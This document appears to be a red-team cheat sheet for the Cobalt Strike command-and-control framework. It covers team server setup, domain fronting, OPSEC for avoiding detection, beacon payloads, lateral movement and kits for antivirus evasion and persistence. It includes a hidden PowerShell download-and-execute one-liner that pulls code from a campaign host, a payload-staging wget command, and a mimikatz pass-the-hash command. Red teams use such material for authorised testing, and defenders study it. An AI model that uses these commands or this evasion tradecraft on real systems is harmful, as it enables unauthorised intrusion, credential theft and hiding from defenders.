CS Cheat Sheet

Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.

$ sudo apt-get update
$ sudo apt-get install openjdk-11-jdk
$ sudo apt install proxychains socat
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
$ ./cobaltstrike
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))" 

Summary

  • Infrastructure

    • Redirectors

    • Domain fronting

  • OpSec

    • Customer ID

  • Payloads

    • DNS Beacon

    • SMB Beacon

    • Metasploit compatibility

    • Custom Payloads

  • Malleable C2

  • Files

  • Powershell and .NET

    • Powershell commabds

    • .NET remote execution

  • Lateral Movement

  • VPN & Pivots

  • Kits

    • Elevate Kit

    • Persistence Kit

    • Resource Kit

    • Artifact Kit

    • Mimikatz Kit

    • Sleep Mask Kit

    • Thread Stack Spoofer

  • Beacon Object Files

  • NTLM Relaying via Cobalt Strike

  • References

Infrastructure

Redirectors

Domain Fronting

  • New Listener > HTTP Host Header

  • Choose a domain in "Finance & Healthcare" sector

OpSec

Don't

  • Use default self-signed HTTPS certificate

  • Use default port (50050)

  • Use 0.0.0.0 DNS response

  • Metasploit compatibility, ask for a payload : wget -U "Internet Explorer" http://127.0.0.1/vl6D

Do

  • Use a redirector (Apache, CDN, ...)

  • Firewall to only accept HTTP/S from the redirectors

  • Firewall 50050 and access via SSH tunnel

  • Edit default HTTP 404 page and Content type: text/plain

  • No staging set hosts_stage to false in Malleable C2

  • Use Malleable Profile to taylor your attack to specific actors

Customer ID

The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.

  • The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.

  • The trial has a Customer ID value of 0.

  • Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool

Payloads

DNS Beacon

  • Edit the Zone File for the domain

  • Create an A record for Cobalt Strike system

  • Create an NS record that points to FQDN of your Cobalt Strike system

Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.

  • nslookup jibberish.beacon polling.campaigns.domain.com

  • nslookup jibberish.beacon campaigns.domain.com

Example of DNS on Digital Ocean:

Configuration:

  1. host: campaigns.domain.com

  2. beacon: polling.campaigns.domain.com

  3. Interact with a beacon, and sleep 0

SMB Beacon

SMB Beacon uses Named Pipes. You might encounter these error code while running it.

Error Code
Meaning
Description

2

File Not Found

There is no beacon for you to link to

5

Access is denied

Invalid credentials or you don't have permission

53

Bad Netpath

You have no trust relationship with the target system. It may or may not be a beacon there.

SSH Beacon

Metasploit compatibility

  • Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https

  • Set LHOST and LPORT to the beacon

  • Set DisablePayloadHandler to True

  • Set PrependMigrate to True

  • exploit -j

Custom Payloads

https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c

Malleable C2

List of Malleable Profiles hosted on Github

  • Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles

  • Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2

  • Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles

  • SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint

Example of syntax

Check a profile with ./c2lint.

  • A result of 0 is returned if c2lint completes with no errors

  • A result of 1 is returned if c2lint completes with only warnings

  • A result of 2 is returned if c2lint completes with only errors

  • A result of 3 is returned if c2lint completes with both errors and warning

Files

Powershell and .NET

Powershell commands

.NET remote execution

Run a local .NET executable as a Beacon post-exploitation job.

Require:

  • Binaries compiled with the "Any CPU" configuration.

Lateral Movement

⚠️ OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe

  • portscan: Performs a portscan on a specific target.

  • runas: A wrapper of runas.exe, using credentials you can run a command as another user.

  • pth: By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. ❗ This module needs Administrator privileges.

  • steal_token: Steal a token from a specified process.

  • make_token: By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.

  • jump: Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. ❗ The jump module will use the current delegation/impersonation token to authenticate on the remote target. πŸ’ͺ We can combine the jump module with the make_token or pth module for a quick "jump" to another target on the network.

  • remote-exec: Execute a command on a remote target using psexec, winrm or wmi. ❗ The remote-exec module will use the current delegation/impersonation token to authenticate on the remote target.

  • ssh/ssh-key: Authenticate using ssh with password or private key. Works for both linux and windows hosts.

⚠️ All the commands launch powershell.exe

Opsec safe Pass-the-Hash:

  1. mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"

  2. steal_token PID

Assume Control of Artifact

  • Use link to connect to SMB Beacon

  • Use connect to connect to TCP Beacon

VPN & Pivots

⚠️ Covert VPN doesn't work with W10, and requires Administrator access to deploy.

Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.

Kits

Elevate Kit

UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)

Persistence Kit

  • https://github.com/0xthirteen/MoveKit

  • https://github.com/fireeye/SharPersist

Resource Kit

The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows

Artifact Kit

Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.

Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :

  • Download the artifact kit : Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)

  • Install the dependencies : sudo apt-get install mingw-w64

  • Edit the Artifact code

    • Change pipename strings

    • Change VirtualAlloc in patch.c/patch.exe, e.g: HeapAlloc

    • Change Import

  • Build the Artifact

  • Cobalt Strike -> Script Manager > Load .cna

Mimikatz Kit

  • Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)

  • Load the mimikatz.cna aggressor script

  • Use mimikatz functions as normal

Sleep Mask Kit

The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.

Use the included build.sh or build.bat script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.

Thread Stack Spoofer

An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.

Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option artifactkit_stack_spoof in the config file arsenal_kit.config.

Beacon Object Files

A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs

Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h

  • Compile

  • Execute: inline-execute /path/to/hello.o

NTLM Relaying via Cobalt Strike

References

Last updated